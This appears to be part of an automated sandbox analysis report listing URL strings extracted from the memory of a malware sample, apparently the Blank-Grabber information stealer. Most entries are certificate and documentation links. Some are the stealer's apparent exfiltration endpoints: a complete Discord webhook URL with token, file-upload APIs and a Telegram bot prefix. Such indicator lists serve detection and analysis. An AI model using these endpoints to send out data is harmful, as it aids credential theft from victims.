Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr, _sqlite3.pyd.4.dr, select.pyd.4.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr, _sqlite3.pyd.4.dr, select.pyd.4.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000046.00000002.1499829000.0000017515DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000014.00000002.1444673168.000002451BAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000014.00000002.1444673168.000002451B8C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1499829000.00000175144F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000014.00000002.1444673168.000002451BAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000046.00000002.1499829000.0000017515C5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000046.00000002.1499829000.0000017515DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr, _sqlite3.pyd.4.dr, select.pyd.4.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: X9g8L63QGs.exe, 00000007.00000003.1291153468.000001E7C2E93000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290762711.000001E7C2E8A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290762711.000001E7C2DFE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C3400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38BC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 00000014.00000002.1444673168.000002451B8C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1499829000.00000175144F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3884000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2C80000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1289606937.000001E7C2D42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadr
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2C80000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1289606937.000001E7C2D42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerrz
Source: X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2C80000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1289606937.000001E7C2D42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerrzr
Source: X9g8L63QGs.exe, 00000007.00000003.1593207468.000001E7C2FDD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1689148113.000001E7C2FF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.stripe.com/v
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3884000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: X9g8L63QGs.exe, 00000007.00000003.1594746457.000001E7C39F8000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: X9g8L63QGs.exe, 00000007.00000002.1694449403.000001E7C2A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: X9g8L63QGs.exe, 00000007.00000002.1697306895.000001E7C3180000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1315377405426270278/HIGwvC-Zpfa8Zkb7aEYPMg-EuYuZPz1LJEfXefQjcA8JYgb
Source: X9g8L63QGs.exe, 00000007.00000003.1593207468.000001E7C2FDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v
Source: X9g8L63QGs.exe, 00000007.00000002.1694449403.000001E7C2A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.4.dr	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C2440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: X9g8L63QGs.exe, 00000007.00000003.1279203002.000001E7C2569000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C2440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: X9g8L63QGs.exe, 00000007.00000002.1693650050.000001E7C2780000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1279203002.000001E7C2569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: X9g8L63QGs.exe, 00000007.00000002.1693650050.000001E7C2780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: X9g8L63QGs.exe, 00000007.00000002.1697306895.000001E7C3180000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: X9g8L63QGs.exe, 00000007.00000002.1694449403.000001E7C2A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: X9g8L63QGs.exe, 00000007.00000003.1286894963.000001E7C3082000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1287219139.000001E7C29BD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1287263536.000001E7C2D30000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1287314117.000001E7C2D32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 00000046.00000002.1499829000.0000017515DFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4df
Source: X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C2440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: X9g8L63QGs.exe, 00000007.00000003.1688465803.000001E7C28C2000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290104191.000001E7C2D9F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290046859.000001E7C2E0D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694008349.000001E7C29A2000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C28C6000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691953051.000001E7C29A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C3380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: X9g8L63QGs.exe, 00000007.00000002.1697306895.000001E7C3180000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691006091.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694260601.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C339C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
